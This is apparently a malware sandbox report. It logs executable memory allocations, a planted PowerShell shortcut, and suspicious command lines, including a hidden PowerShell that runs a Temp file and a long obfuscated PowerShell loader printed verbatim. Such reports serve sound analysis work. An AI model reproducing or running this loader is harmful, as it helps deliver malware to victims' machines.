NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02253000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02254000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02255000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02256000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02257000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02258000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02259000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05030000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05031000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05034000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05035000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05036000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05037000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05038000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05039000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\afdelingsarkitekters\Skifferdkkerens\Fastlaase\oxyder\forfremmende\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

powershell.exe -windowstyle hidden $d = Get-Content 'C:\Users\test22\AppData\Local\Temp\afdelingsarkitekters\Eksamenstilmeldingen\Kloesse\Okkultister153\Cleidohyoid\Aminoacetophenone.Kur' ; powershell.exe ''$d''

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sabaoth Parcellization Kphjestes #>$Hooray = """Li;AfFHouBunSkcAvt DiTio SnFe BiJ LaRomKobHee CaOuuSexDi0Lk4Ge Un{Wi Kl Bi Un SypEnakerheaPym R(Ju[StS LtStrCoiInnBlg D]Mi`$FrSOvt NaFovSteNonAteBrsOu)pa;ph En St in Co`$fjT Gr Ri SaCenOvg DuHelPaa RrFoi UsDa Af=Or SqNReeCowUn-amOPabSojReeUdcRetBr StbTayretSeeAn[nu]Bu Ov(Re`$MiS BtMiaSav UeApnYeeScsAa.PrLEnePenBegfatAchBd M/ka Sv2De)Sp;Re T E Dr EmFHeoberBr(Rd`$ MD LeUdg Yr TadedSlaVonDedNe= S0Ud;Ul Pr`$LoDMaeamgSurMaaTrd LaLanKodIn In- Cl ct N F`$ FSsutjuaInvSteHanBeeYosAn.FiLSkeLenTugIttEmhWa;Fo Ga`$ SD EeWagMar OaNad TaFon AdFa+Pa=Pa2Sn) R{ H En Cu S ph Ne Un Ca Tv`$LuTOdrAtiTaa KnCagHiuDilInaCarKaiDaspa[Tr`$ CDGyeUdgTerFiaBedSlaPenUtd J/Pr2sc] S ba= M Su[deciboRenDivLueTrrQutAf]sn:Ga:SeTwao SBShyBitRaeIm(dr`$RaS atreaNevnoeUdn HeAnsSu.ImSStuafb SsIntPhrSki UnCog O(Ma`$VaDLyeSpgDirTaaNidObaSknUndOp,Un Re2Re)At,Be Ru1Va6Pl)El;Ph Fi Ge`$naTRorCoiRiaLinKagAnuSolOraPrrFoiHvsMa[Co`$UnDSee UgDerCoaModCoaBenTzdCh/ T2Li]Po Li=be DeO Us HsIniRieFo5Ga U`$PaTSirDyi Ka Vn Fg KuAmlFeaThrKei SsMi[Da`$ IDPaefogNorLaaGidTeaEmnStdHi/de2Ju]Te Co1Ve2So6Ly;By Pa Ur Fo Bo} T oc[adSSjtHorStiEsnIngPh]Aa[TrSVayPrsEvtSleUnmTh.deT AeCixHetNu.GaEFonHucmooEqdBii DnvigFl]Ri:In:BaA ASReCOvIAtIFr.EnGHye StSkStrt KrCoiOpn tgNo( L`$ ITOurLki IaFln Sg cuLylvoaInrIniTysta)ca;Ge}Ci`$TrVBedSee u0an= SJ MaNimSibDrechaNiuCaxPo0In4 A ch' S2 MDAf0St7Bo0SyDSm0SaASl1DiB D1Sc3Fa5Kb0 E1AfAFo1no2An1Pr2Pe' T;Un`$NeVNodAue H1Ti= PJNiaStm LbFieSka BuKax T0al4Ch Si'Do3So3kr1un7St1HeD I0EqCBr1se1Ad0OrDNo1Br1Ta1 T8Cr0maAIa5An0Pi2Co9 U1Pr7Un1Am0No4SpDAn4 CCuf5Sc0Fi2VeBFo1ph0 D0DaDVe1inFma1Se8Yo1EtBDo3Fr0An1NoFSy0PoAen1Ma7In0Na8Su1FoBNo3Ka3 G1OvBAf0NiA J1Kn6Gu1Ga1La1 SA R0 ID P'In;Re`$WaV TdOpeAk2Di=OvJ NaOpmOpbNeeFra FuOnxPe0pr4 U Me'Sk3Pe9 S1UnBNe0 TARa2haECa0ecC D1Co1Tr1CoD M3AuFFi1FrAHj1DcA G0UpC b1 TBMo0DoDFl0 SD I' R; S`$UnVthdFieWh3ke= PJAmaComPibFlePua BuTox F0ea4Go us'Tr2TaDHy0Sp7Pl0CoDTr0AnAZo1 SB t1co3Cu5Ge0la2saCOp0DeBPe1Ud0De0ArADi1 L7Ma1Ry3Di1 IB M5Ar0 T3Sc7gi1Ph0 A0UpA S1UnB T0ReC B1 C1 V0SkEIn2 ADaf1SaBSu0 DCPa0Eu8Sk1im7Tu1chDUd1PrBen0 SDPl5Re0Te3Si6St1 MFRu1Co0In1SlA M1Vi2Ek1BeB H2 OC N1 FBLo1 T8Pr'Bl;ko`$HaVDed BeOv4Nu=FrJ SaBamUnb PeSlaPauTexHy0Ur4 G Qu'st0KrDCu0 FATi0AcC V1 F7Sk1Tr0Tr1Ya9Sy'Ek;De`$UnVTidReeZi5Un= NJWhaSpmAubFoe SaPauPoxRe0Ka4 D Ov'Fe3Be9be1HoBKo0SyANo3Co3Kb1 u1Ar1KaAEn0 JBBr1Co2Ge1TiBBe3Hj6To1PeFSu1is0ca1IlAUh1Go2Bl1AlB P'Se;ud`$ EVAsdGae G6Pr=HoJTea SmTrbLee RaKauLixYp0Ip4Ba Ce'Ho2SuCCh2FoAIm2vaDOp0SlE P1BiBRe1OlDCi1Br7Ma1DeFPr1En2Sa3Ec0Da1 MFDs1bj3Pr1TaBSt5Is2 U5 TETu3As6Hy1Ra7Pl1PlAta1GrBMa3DrCSj0do7Be2diDKi1 o7Ti1 W9Za5Ba2tv5JoE D2KlELo0 LBsa1AfC N1Me2 D1 S7Te1AdDHu're;Sa`$FuVOpdLie G7Ou=BiJIsaUnmJobFaeKraChuBoxRe0Ri4Sh Fu'An2PrC C0 PBci1 P0Vi0ScAFo1Un7es1Ho3Qu1YtBOp5Bo2Dr5UdE L3Ud3St1FoF A1Va0Pe1 IFSd1Br9Mo1AsBAg1PrA B' R; P`$ SVUddIneSu8Ju= SJnoaAfmWeb AeIlacauXaxUn0Ac4Co Le'Sy2PlCSa1RuBSp1Bl8Pl1 A2 R1ToB r1 RD I0YdAAn1udB S1 FA L3BlASt1 MBPe1Lu2Ra1AsBGr1 O9 R1PhFNo0MaAVi1 OB O'Fl; D`$StVHadUneGe9de=PaJStaComPlbBrePsaBeuFoxIo0Be4So Si' M3Ch7Be1Dv0Eu3My3de1KaBRe1 C3St1Un1Ga0KvCFi0Re7No3Sk3Ho1Ob1 R1 MAAf0PeB S1 L2 G1RaBDi'Pr;Pl`$DiAPrfUds PkMor PiApvStnefiRanScgtasDumStaskaMedCoeSps v0Mi= MJFoaUnm ubPeeCea su Ax P0Co4To Ry'De3Ma3 U0Ap7Ga3caAOo1ViBDi1Pu2In1FlBPa1Sk9Ru1ArFFe0HaAaf1 FB G2maAaf0Ls7Co0PyE H1StBPh'Fo;Se`$ TAOpf Bssvk ArJeiBlvBanDeiSpnMigEnsSemToa faundSyeRdsSe1th=CrJ TaAdmHobGueLua KuEfxSu0An4Fr Sl'Ep3SnDGa1St2 F1GaFSp0KyDAu0SmDUd5El2Di5PiEPr2FrEBr0 PBPe1 TCDe1Tr2Sk1 S7Af1 DDCr5Kn2Mi5BlENi2 MDLi1JvBAt1HvFTe1Ti2 S1SaBFa1BrACa5Ma2Sa5SaEUp3beFJa1 E0Ru0OuD D1Sv7Pu3koDJu1Fo2Ca1stFBr0 CD S0heDPr5 s2Bi5CoEAe3 AFFl0koBSo0ErABr1Ma1 P3 DDin1Fe2 P1RiFpu0akD S0TrDOb'Or;Ud`$PoALefResArkSvrliiTrvSon UiAfn rgGasGumMaa KaFodlaeCispl2Ob= LJStaAumanbLueCoa BuBaxTr0Al4 M Ho'Ge3Ke7 A1Ln0nr0Ap8Cr1Om1bu1 S5Mu1UnBal'Se;Co`$SkAUnfVasNakCorBli KvSnnHoiHun KgLas Bm TaVoaPadAveFrsEd3Ov=PhJBuaStmHabMae UaSmuLexFa0 R4Sk Do'La2DvEFy0SyBBr1HaCCo1em2Xv1Sa7Ex1PeDKa5Ga2sp5 IESv3me6St1In7Pa1RiA V1alBPr3WhCIa0In7er2foDFj1Po7Ob1Ge9Ku5 C2 L5EnEAt3Co0Fi1acBSe0Ne9 U2CoDLi1 A2 H1Vi1 m0joAHr5St2To5KrE F2 E8Ny1Va7Ko0UbCDi0BeA N0 SBpr1neF F1Un2Hi'Lo;So`$FeAGbfSgsTrkBerYai BvPenUniSknungBosEnmSkaReaNodPreDisUn4Re=HaJWhaSum ObExeMiaStu CxSt0me4br st'Kn3KnDHe0PyCLe1KoBMi1 UFEr0BrALa1SgBSe3Un8Fo1Uf7St1sk2Fa1PaBMi3Eu3At1SaFTr0TiERi0SpE S1Bl7Al1Bo0Co1An9La3 SFGe'Pa;Fa`$ FAAffSls rkNyrBriStvAfnSuiTwnPhgUps CmTia FaNod Ee Fs E6Vo=PrJ Sa PmPrb SeSna WuMixin0Ic4Vi C'bu3Ma3Ir1ToF s0ImECo2Pr8 C1Ld7Bu1 GB b0Tu9 N3Sy1Cu1Ba8No3Bi8Ch1 B7 s1St2 P1drBNo'no;Br`$BaAAffOrsGnkFrr Ti Bv NnStiRenUrgMisFam Ea IaMid Ueens T7It= CJPiaAgmepb KeReaFluBlxCa0Tr4 B Fr'Ek3Ha7 P3HaBsa2Im6Kr'Pi;Sa`$NoAscfMis AkHyrSuiAbvSknHei UnIng PsDemChaOra FdspeMus S8Er=noJ FaEkmUdb FeDra IuAfxFo0Co4 G Sy' U2mo2Me'Ma;Se`$AvS laCanTrdVesSelSkoSptPrt Be st Ss B= mJFoaNamMebTaeCaaCou AxDo0Re4Ka Pr'Fu3AaBPr1 H0Gr0 TBVi1pl3Ti2CyC S1PrBDi0CaDTi1Ve1pr0CeB D0JaCUn1SaDfa1DeBNa2 PATi0 R7Fu0MoEOs1UnBUn0SkDMu2Sp9Er' T;Mo`$MeRPiyGrl DebrnPa2 F1Mi9Ch Va= U BuJHeaVgmInb SeSiaCouGrxEx0Ho4 P Br'Ni1Fo5Ud1SlBso0InCDo1Ge0Kr1paBDa1Al2Rd4TeDCh4noCTr'Ex;UdfgyuCanKncEmtCoi OoSknkl ROTosDwsAniDreTh3 S N{BaPBia ArPsaStmSu f(Sh`$ ER De HzSso RnNueOxd P,An Ca`$FrFThl Re CcBik KeSar OeScdNo)An Ko Po Ta G F;Pi& S(af`$NoAAlfDasAtkSarPliSnv TnTeiDen DgUnsBrm Ia faHadSpeFesJi7Ko)Ne Be( RJCaa BmInb Oe NaReuTvx H0Re4Ar H'Re5HoAav3 I6Ga1 WBAr1 P3Ke1Vi1 V0ArEUn1UnFRa0VeAAd1Fu6 O0Ya7Vo5VaEPr4Sp3Va5ChEIn5Pa6Kr2Ud5Ch3OsFPu0OpEAm0FoE P3 PAFa1 k1so1 V3 s1SkF T1Jo7 K1Ja0No2Un3De4Pe4Bl4He4Pu3 DDIg0 RBDe0 KC N0AnCta1TjBSp1Ve0Me0DeASk3WrAov1Po1Bi1To3En1AeFMe1Sp7Ty1De0Te5Co0Ly3Ni9Et1UnBEn0 SAPa3 DF S0SuDVa0TaDTr1DoBPa1Ci3Mo1StCFa1 d2Se1Un7Ru1anBMa0FoDFr5An6 s5Pr7De5 PECa0Ov2Ne5TeE i2Th9Pr1Hi6 I1TjBTu0deCfa1TiBWh5 l3At3Ur1Fl1MeCRe1 A4Ok1PaB O1 CDTh0NoA V5CaEEn0Ra5 T5FaEEk5UtAFr2Hi1 D5St0To3Fi9Hi1Ga2Na1Ci1Ca1 GC r1KlFTi1Di2El3HaF O0FiDAn0MaD S1DoBSn1Ku3Ha1ToCSu1Pl2Mo0re7Ta3LuDKi1ReFIn1 aD S1St6En1coBMa5ReEMo5Ov3Fi3RhFLi1co0Tr1SmA D5 SEBj5SuAli2Te1Me5Fr0Ge3St2Ph1Un1Bl1CaDSe1esFTr0JeACl1 H7Op1 H1Vv1Bi0 b5 I0Es2reDBe0BrEPt1St2Em1Do7Fr0MyAIn5Ry6He5 UAaf3LrFUd1Tu8Wi0maD B1Ca5Sk0BlCUn1no7al0Er8An1 B0Ch1 R7mi1 P0En1 N9Sk0FrDOv1Un3Sc1UnF T1 FFBi1 OACa1KuBde0veD A4Na6Re5Se7Uo2In5 J5Al3Fe4IrF U2ge3 T5re0Dr3 NB S0OvFFo0WiBUn1KrF h1he2 I0faDGe5Pr6 M5udANe2Fa8 o1BlAEf1AlBSk4FiEMe5Co7Tl5 REIf0de3 J5Rr7Ta5Ud0Un3Jv9 W1ByB O0UnA P2HoAPl0in7Bj0AlEDe1BiB S5De6Fl5TrAQu2 R8Sa1 CAVa1saBNe4HaFEx5Bj7Ma' S) B;St&Su( R`$UnACofGasNikNorReisuvManFjiSunPagbjsUdm Rapoaged LeBrsSl7 I)Sv S(FuJ PaNomPab Te LaDauKoxHa0Ot4Ti Pe' L5StASm3Sh1Re0RkE E1OpAEl1FaFan0 AAKa1spBBl0UnCVe5NuEfr4Di3He5KaEEr5ReA U3Te6Sp1PlBNo1Fy3 p1Ch1 F0ObE A1 lFFr0 JA S1Bu6Un0Un7Ko5Re0Cr3Gu9Fl1InBEg0InAAt3Sp3Tr1UnBAn0NeASk1Un6Ev1Lo1Fe1FoAUd5Ka6Be5JyAHy2ya8Un1LoAFr1DoB f4ScCSk5Cl2Sm5SqESk2Ca5 K2 SAFl0 g7Ty0TiEPr1 RBfo2Sm5En2Ov3He2 P3St5OpEHa3 TE S5Th6Be5KeASm2Po8 u1TeADd1GeBLb4 LD G5Nr2ba5KaERi5ChAPo2Cr8Mn1foA I1BaBFa4SuA f5Ho7Hk5in7St'My) G;St& A(Sy`$TvA FfGasUnk TrStiTrvSanUniAfnBlgHys MmPsa DaCadbeebas M7Ph)Ca Ma(HoJ Aa Lm IbUteHaamouDexTa0Pe4 S ve' u0ViCUn1TrBRo0 GABa0UdBHe0 VC K1en0 F5 LESy5KlA g3 M1 M0saEBr1GiAEf1GyFEn0 OAAn1TwBCo0IkCSe5Te0Re3Do7pr1 N0Fa0po8 S1rd1 T1Fo5Va1deB P5Tj6Ly5KaAph1Pe0 J0CaBBl1ov2Ro1Mi2Ri5Up2Lu5 NEMo3UdESp5Ep6No2Ui5 D2 NDPs0Sk7Sl0PrD M0ReASo1JuBBl1al3Re5Dr0Sk2TaCMa0InBLa1Ep0Kn0OcAar1ud7Ar1 T3Pl1 SBKo5al0Co3br7Lo1 L0No0OpADe1HyBse0huCFl1 P1Ha0UlE H2InDAs1UfBPi0 ACUn0 T8Re1Tr7Mo1SuDjo1FoBHa0 EDAv5Su0Be3mo6Pr1HnFVe1 P0Ri1InA U1 A2Ra1AaBFl2ToCCa1CaBal1Pe8Da2Br3Fo5 K6 F3tr0Be1MiBPa0Di9Re5Fo3Te3 F1Fo1 aCPa1Vo4Ba1MuBGg1OvDOv0RaABl5ReE A2RaDDe0Gu7Sk0MaDIn0PaASk1 SBVi1Ge3Ad5Be0He2 AC A0HeBNa1Be0 M0 SANo1Sk7Sa1Th3Ma1SoBun5 R0Fo3 N7Dv1 S0Tr0CeASt1 SBkn0anC K1 P1Fi0FrE A2 VD S1PhBRa0 SCDa0Ob8Ad1Ex7 b1OpDKn1beBco0acDHa5Bi0Yo3Be6Ph1anFHe1Fa0Al1hiACo1Pa2 H1 QBNo2siC L1MoB B1Sl8 R5St6 L5Af6in3Su0Ti1StB I0Se9 S5Sl3ad3ba1 K1SuC S1 F4Hv1SaBfo1FoDfj0 tAst5 LE D3 S7St1 J0Pe0 WA U2OuEIn0NeAMa0ClC L5Ba7Gs5Hy2 I5MaEun5Re6Th5 UAEi3Ge6Pe1MaBFi1Am3Tv1 F1st0UrEFe1BeFAd0 AADi1Ek6Aa0 O7Be5Mi0Di3Se9De1FiBTu0CoABl3Tu3Ga1etBSp0 BASa1Pr6Pd1By1 D1AvABa5 V6 C5AmADe2as8Ge1UnABr1 FBAa4AnBCo5 V7En5em7Fa5Dr0 F3Ju7Un1Va0Sk0Ca8Su1Ta1Kv1Mi5 H1 SBIn5Fr6An5GaAno1 D0di0HaBSt1be2Te1se2Ca5Cr2 U5UnE B3FoEEx5Be6Be5 SAMa2UnCTr1daBDr0Sa4Ko1Sm1 C1vi0Af1SpBKo1phARo5Pr7be5Ov7No5Om7Cy5fo7Li5af2 m5 REPa5 VANo3Li8 G1Di2Pi1YnB R1CeDPi1Fi5Br1spBUo0WiC D1AdBSi1MiAKn5Le7Re5Su7Fo'Ab)Gn;Ra}TafShuBanJacBat UiMioOpnAb SnOOvsEms SiHoeCo2Ac g{BaPtoaKrrInaWimPl Bo(Hu[NiP BaSprOpaMimfreSltMaeZor J(foPMioSjsMyiRutUsiChoTanLi Le=No Mi0Ph,Co PrMSuaSun PdAdaOvtDioOprPoy S St= T Ti`$ FTTirSouPoeTa)Bu]Cr Ur[HeTacy TpAeeAc[Mo]br]Di de`$UbD FaWrgSjpBrrmoaSng CtResIntAljJaePlrNonLeeFrnHa,Yo[SuPObaSkrTeaFamTreRetKre Hr L( RPDyo SsUli OtGaiCoo Tn K re=Nu Fa1 L)Wi]ki Pu[StTGay SpLyeFo]Va Ru`$ GL Ba ArAnranuTrpTrsUd Kl= S Th[SiVSao BiMod P]Sk)Ad;In&Na( V`$SpARsfSes AkFrrChiHavUonStiSanOvgClsGemMjaPoaFodUneZesBe7La)Gg Af( AJSpaUnmUnbBveRha Su FxSp0Er4No Jo'Ha5 SACu3 SAIm0 ACFl1Pr1Po1Tu1Pl0baE S1Sl7Fa1Un0De1Ed9Us1 S2Bl0Di7om4KlFFr4Ta7Ua4MiAVi5 SElo4Hy3De5 SEHe2Ne5 N3SkFNa0RdESa0GaE T3MeA N1Ar1Ki1Sd3Re1GlFca1Sm7In1Ba0Lb2 H3Ro4Pr4Na4Br4 H3StDTe0SlBUn0GrC F0 FCPi1PaBBe1Em0 E0OuAMa3OvAOv1Ex1Re1Ca3Re1GrFIn1 M7Fu1Sl0Ud5 b0Lo3TrAKr1HyB F1Sm8 U1Bu7De1St0Ca1DiBCo3IcAId0Ly7fo1Ib0 R1 rF M1Sa3No1Hj7Cu1 SDSk3FeF U0InDJu0LaDPr1teBFa1Ka3Fo1ReCFo1Un2Af0In7Vo5Sv6 b5Fo6To3In0Sp1JoBPr0Qu9br5Ph3Ke3St1Un1DiCMe1Fi4In1 SBCo1RuDPi0NoACl5NeEOc2anD K0De7Co0tiDSa0ToASt1VaBVi1Sl3Ly5Re0Sp2caCSu1BaBNa1Dy8Be1Sn2Bl1FoBDe1tiDDe0UnAUn1 B7Am1re1De1Ha0Cr5 N0 P3 MFGr0eqDtv0 gDBa1EnBpe1Ne3So1 SCcr1Bo2 T0 L7Rh3 P0Ta1KuFvu1Af3Ov1gaBPr5Lo6Se5LyA O2Un8 W1HoALe1ReBst4Hy6so5Ru7 T5Co7 M5Gr2Su5HeEMo2Te5 U2NeDTr0 U7In0 PDIl0koAsk1FrBEm1 J3Bl5Re0Is2ReCFo1SkBSc1Re8Tr1Ar2Vu1 EBPr1 LDAn0PrAOu1Ta7 I1Ma1 S1Am0En5Hn0 S3 NBSp1He3Fo1Ge7Ti0ArAKe5 L0St3TeF S0FiDSk0EnDGr1UnBJi1 S3 m1BeCho1Ne2Op0Ha7In3 RCDr0UkBSt1Ch7Pa1 K2br1CrA D1EnBSt0teCFl3 KFFo1FoDUn1 FDRu1PrB B0SqDPi0HuD R2Kr3Pr4Sa4Fo4Pe4Sa2KoC U0DiBst1Un0un5Ok7He5Pi0Ch3HeA A1DeBSe1Pr8Di1 S7In1 N0 D1 SBAn3NoA D0Us7Be1Th0Bo1ToF P1Ta3Bu1 B7 G1FlDBj3 L3en1No1Va1PrAHa0IdBBr1Vs2Ny1SeBEp5He6Me5utARe2De8Ub1HeA u1NoBMe4Ge7Fi5sk2 R5MeETi5 KATi1Ko8As1AmFhv1Ta2Fo0SaDBe1KoB E5 H7Vi5ki0Pr3euA U1MuBPr1 H8 V1Un7Ov1To0Af1CiB t2ApAOl0Sk7Sa0 DEPo1 GBSk5Pr6St5LnADe3SpFPh1 S8Re0 RDOp1De5 I0 AC V1Fo7Ph0Su8Un1 E0Th1De7Tj1Sh0De1Sk9Ac0taDte1Ud3Hy1SpFLi1 aFRe1BaABh1BrBFa0AuDex4DiESk5 U2sn5AfEDa5 TAhj3MyF S1Ri8Re0MyDGr1Sl5Is0UnCEm1So7 R0Br8Ou1 C0Dy1Pu7Fl1Fl0Ca1Pr9Pe0ReDEl1 S3An1BjFPa1blFOm1FrAPe1PrB D0TeDPl4 NF A5Po2Fo5ToEDo2Ki5Be2 IDAn0Kv7Fo0exDan0OvAIo1FrB L1Ma3St5ka0co3Fa3Ra0taBDu1Ur2In0RaAWo1sy7 D1ReDIn1DiFDi0DeD B0IrA C3BaA C1CoBGa1Da2Id1ByBSk1Hi9Ta1GeFNa0AmAKo1BeBTi2Mo3 A5Af7Vo'fr) G;he&Ul( V`$DeAChfDesStk Jr HiMivPenDeiSnnRigFesPrmDaaRiaFadYde BsOv7Br) S Se( FJStaSlmUabFie BaNauEgxIm0gr4Op Fl'Wo5SuAOv3 SANu0BlCFo1De1So1 S1Se0InEAu1Ap7Ne1Im0Fr1St9In1Gr2Pe0 t7 B4 BFFa4Tr7Vi4UtA O5Ku0Le3PeAIn1PlBch1 R8in1Fo7Ti1Tr0 S1SpB S3WaDGe1st1 N1Wa0Fi0SeDop0alA A0smC t0 